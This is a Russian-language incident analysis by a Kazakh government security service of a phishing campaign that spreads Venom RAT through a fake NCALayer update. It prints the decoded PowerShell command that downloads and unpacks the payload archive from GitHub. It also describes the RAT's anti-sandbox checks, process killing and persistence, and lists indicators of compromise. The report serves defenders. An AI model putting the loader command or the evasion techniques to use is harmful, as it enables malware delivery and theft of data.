Технический разбор инцидента с фальшивым обновлением NCALayer

Технический разбор инцидента с фальшивым обновлением NCALayer

На этой неделе в АО "Государственная техническая служба" обратились обеспокоенные граждане, которые обнаружили у себя подозрительные электронные письма с просьбой установить "обновление" для программного обеспечения NCALayer. При переходе по ссылке, содержащейся в электронном письме, происходит загрузка скрипта "Обновление-NCALayer.bat", который инициирует многоэтапную загрузку, в конечном счете, приводящую к установке на компьютер вредоносной программы Venom RAT v6.0.1.

В данном материале производится технический разбор вредоносных программ, связанных с данным случаем. Статья предназначена для специалистов по информационной безопасности, администраторов информационных систем и сетевых инженеров, обеспечивающих безопасность инфраструктуры, а также пользователей, интересующихся проблемами кибербезопасности в казахстанском сегменте Интернета. В конце материала также содержатся рекомендации тех, кто столкнулся с данной угрозой и пытался устранить его последствия.

Первичный загрузчик "Обновление-NCALayer.bat"

Ссылка из письма направляла на фишинговый ресурс hxxps://ncalayer[.]info/update.php, на котором пользователей вводили в заблуждение, побуждая их произвести загрузку и запуск "обновления" для ПО "NCALayer". Домен был создан 3 сентября т.г. в 21:09. На следующий день пользователи начали получать первые подозрительные письма и сообщать о них в Call-центр KZ-CERT и через несколько часов был произведён анализ вредоноса "Обновление-NCALayer.bat" и его полезной нагрузки.

При запуске пакетного файла "Обновление-NCALayer.bat" производится повторный запуск скрипта с правами администратора системы. При получении повышенных привилегий вызывается командный интерпретатор PowerShell.exe, который содержит закодированную в base64 команду. В процессе ее исполнения с репозитория GitHub скачивается архив NETFramework48.zip, после чего его содержимое распаковывается в директорию %APPDATA% (Рис.1).

 Рис. 1. Блоки кода скрипта "Обновление-NCALayer.bat"

Декодированный из base64 командлет PowerShell’а:

Invoke-WebRequest "hxxps://github[.]com/netset15/TestRepo/ raw/main/NETFramework48.zip" -OutFile "$env:APPDATA\ NETFramework48.zip" ; Expand-Archive "$env:APPDATA\ NETFramework48.zip" -DestinationPath "$env:APPDATA"

Распакованный архив содержит копию командного интерпретатора PowerShell.exe, который используется вместо встроенной в систему для того, чтобы обойти средства защиты информации. Затем, с использованием скачанного PowerShell’а производится объявление процедур шифрования по алгоритму AES и распаковки данных по алгоритму GZip, после чего они применяются к полезной нагрузке, содержащейся в конце этого же файла. Далее распакованные данные загружаются в память и исполняются в виде .NET Assembly.

 Рис. 2. Часть деобфусцированного кода скрипта "Обновление-NCALayer.bat"

Деобфускация полезной нагрузки

Наиболее ценный инструмент в подобных случаях — это CyberChef, который заслуженно называют швейцарским ножом для анализа данных. Инструмент разработан британским Центром правительственной связи (Government Communications Headquarters, GCHQ), свободно доступен и заслуженно завоевал сердца тысяч аналитиков безопасности по всему миру. С его помощью можно без излишних усилий произвести расшифрование и распаковку данных.

На рисунке 3 изображён снимок экрана утилиты CyberChef с пояснительными надписями. Чтобы корректно преобразовать их, необходимо следовать тем операциям, которые приведены в программном коде. На первом шаге входные данные декодируются по алгоритму base64. Затем на шаге № 2 производится расшифрование по алгоритму Advanced Encryption Standard (AES) в режиме сцепления блоков шифртекста (CBC) с соответствующими ключом и вектором инициализации (IV). Полученные на предыдущем этапе данные распаковываются на алгоритме ZIP, после чего преобразуются в шестнадцатеричный формат. Поскольку первые два байта выходных данных соответствуют MZ-сигнатуре, то можно сделать вывод о корректности произведенных операций. Для наглядности будем именовать полученный файл формата PE32 модулем № 1.

 Рис. 3. Деобфускация полезной нагрузки № 1

Модуль № 1

Поскольку модуль представляет собой исполняемый файл формата PE32 .NET, то для изучения функционала можно воспользоваться декомпилятором dnSpy. Данный инструмент предназначен для исследования .NET приложений, является бесплатным и, помимо декомпилятора, позволяет производить отладку программы.

Воспользовавшись декомпилятором dnSpy и утилитой CyberChef, возможно определить, что модуль № 1 содержит код для расшифрования, распаковки и запуска модуля, хранящегося в ресурсах в виде текстового файла "payload.txt". В целом функционал аналогичен тому, который исполнялся посредством PowerShell: параметры, закодированные в base64, используются для расшифрования алгоритмом AES и распаковываются посредством GZip, после чего загружаются в виде .NET Assembly. Полученный файл формата PE32 .NET будем именовать модулем № 2.

 Рис. 4. Часть программного кода модуля № 1 на языке C#
 Рис. 5. Модуль, закодированный алгоритмом base64

Модуль № 2

Второй модуль также является исполняемым файлом формата PE32 .NET, функционал которого включает загрузку с другого GitHub-репозитория архива с вредоносной программой.

 Рис. 6. Программный код модуля № 2

Помимо этого, вредонос устанавливает загруженный файл в автозагрузку текущего пользователя: в ключе HKCU\Software\ Microsoft\Windows\ CurrentVersion\Run создается параметр "WinRAR32", указывающий на исполняемый файл %APPDATA%\OSDService\Init.exe.

Venom RAT

Загруженный с GitHub архив OSDService.zip содержит исполняемый файл Init.exe, который представляет собой вредоносную программу Venom RAT. Указанный вредонос отличается богатым функционалом, который включает кейлоггер и кражу данных. Собранная информация сохраняется в директории %APPDATA%\MyData. Кроме того, злоумышленник имеет возможность получать телеметрию с зараженного компьютера, которая включает первичные сведения о системе (имя компьютера, имя пользователя, тип и версия ОС, количество ЦПУ и графического процессора, список установленных программ, включая антивирусы) и журнал клавиатурного шпиона.

 Рис. 7. Функция отправки телеметрии с заражённого компьютера.

Особо следует отметить наличие защиты от анализа в антивирусных песочницах. Программа посредством технологии WMI получает значение "ProductType" класса "Win32_OperatingSystem", и, если оно равно 3, т.е. является серверной ОС (за исключением контроллера домена), то программа завершается. Вторая проверка основывается на подсчёте числа записей класса Win32_CacheMemory — если их менее 2, то программа делает вывод о том, что запущена в виртуальной машине и также прекращает своё исполнение.

 Рис. 8. Код Venom RAT, препятствующий обнаружению его активности

Кроме того, программа способна завершать процессы, которые часто используются специалистами для мониторинга запущенных процессов: "Taskmgr.exe", "ProcessHacker.exe", "procexp.exe", "MSASCui.exe", "MsMpEng.exe", "MpUXSrv.exe", "MpCmdRun.exe", "NisSrv.exe", "ConfigSecurityPolicy.exe", "MSConfig.exe", "Regedit.exe", "UserAccountControlSettings.exe", "taskkill.exe".

 Рис. 9. Процесс отладки вредоноса на .NET, в процессе которого расшифровывается его конфигурация

Каким же образом подобный инструмент оказался в руках злоумышленников, стоящих за данной кибератакой? Дело в том, что разработчик Venom Remote Access Tool (RAT) — американская компания Venom Software позиционирует его как инструмент для удаленного администрирования при проведении тестирования на проникновение. Компания даже имеет веб-сайт, посредством которого осуществляет продажу копий программы, а также правила пользования их продуктом, которые прямо запрещают любой несанкционированный доступ с использованием их программного обеспечения.

 Рис. 10. Официальный веб-сайт Venom RAT

Стоимость за пожизненную лицензию составляет всего лишь 650 долларов США, а месячная аренда ПО — 350 долларов США. В дополнение к RAT компания предлагает услуги абузоустойчивого хостинга на базе Windows, стоимость которого обойдётся в 200 долларов США в месяц. Тем не менее, если "погуглить", то на хакерских форумах можно найти взломанную версию программы и вовсе бесплатно — вместе с исходным кодом.

 Рис. 11. Стоимость Venom RAT с официального веб-сайта производителя
 Рис. 12. Объявление со ссылкой на архив, содержащий взломанную версию Venom RAT

Заключение

Усилиями АО "ГТС" и государственных органов доступ к фишинговому ресурсу был заблокирован, а затем домен ncalayer[.]info и вовсе был разделегирован.

Тем не менее, злоумышленники ежедневно придумывают всё новые хитрости, которые побуждают пользователя перейти по фишинговой ссылке, скачать и запустить вредоносный код. Для корпоративной безопасности одной из эффективных мер является обучение пользователей основам кибергигиены, что позволит повысить осведомленность о текущих угрозах, и, как следствие, существенно снизить количество подобных инцидентов информационной безопасности.

Если вы стали жертвой вредоносного программного обеспечения, то эксперты АО "ГТС" помогут вам справиться с возникшей ситуацией. Обращайтесь по телефону +7 (7172) 55-99-99, по бесплатному номеру 1400, e-mail: in[email protected].

Авторы: Аскар Дюсекеев, Мухамбет Назаров, Центр исследования вредоносного кода АО "Государственная техническая службы".

Индикаторы компрометации и рекомендации по устранению данного инцидента ИБ.

1. Обновить антивирусные сигнатуры и произвести сканирование компьютера. Если вы являетесь домашним пользователем, то можете дополнительно воспользоваться антивирусными утилитами DrWeb CureIt! и Kaspersky Virus Removal Tool. Нейтрализовать обнаруженные угрозы.

2. Произвести поиск среди обнаруженных угроз по приведенным контрольным суммам в панели централизованного управления антивирусным средством или локальном хранилище карантина. Произвести расследование причин возникновения событий безопасности.

3. Посредством DLP, групповых политик Active Directory или вручную произвести поиск в сети по приведенному списку файлов и директорий, а также ключам реестра и именам задач. Произвести расследование причин возникновения событий безопасности.

4. На межсетевом экране или прокси-сервере произвести поиск по приведенным IP-адресам. Произвести расследование причин возникновения событий безопасности.

5. Провести обучение персонала основам киберосведомленности об угрозах ИБ.

Контрольные суммы:

90fc32affdfe1f78c15b7d0d0d5c2eb0

dec8d147133403aeaf4d6a3f568b96ce

11778b58e4de1518f0b10129ab1d8d0d

bee0c15caed5c45356c7fd55290a2dbf

fff67136941d5d16011e78db9e2626f43adfe3bc

1b9b17ceb20bb120c0113d90dc6e3751e50c98dc

dbb287ccafa466db2d049d3a11b791dd8d1694d7

5fdf1f9de16ad67c3a40a0b57aad8015978d4e60

63ad98fc47990e1b827a6c1b541d7a76f65722537edaef90ffde5262f30383e2

fa086d24c7d52d75a4e6725517ee3a387a9d9cd5b0275fa010e1dfd81039dc46

4876b9c55e9b29f2c4ceeaa1fb498dea8d4e4cd40356c92d23a4b15d9b70c51d

5917fd78b3281464e5231cfddfa62a26de5dcd8146eedb7b58d40bbdb4424138

Имена файлов и директорий:

Обновление-NCALayer.bat

%APPDATA%\NETFramework48\install.exe

%APPDATA%\OSDService\Init.exe

%APPDATA%\NETFramework48.zip

%APPDATA%\csrsv64.zip

%APPDATA%\OSDService.zip

%APPDATA%\MyData

Реестр:

параметр "ConsentPromptBehaviorAdmin" ключа HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System

параметр "WinRAR32" ключа HKCU\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run\

параметр "Init" ключа HKCU\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run\

Задача:

Init

Сеть:

95.214.27[.]222

95.214.27[.]223

95.214.27[.]220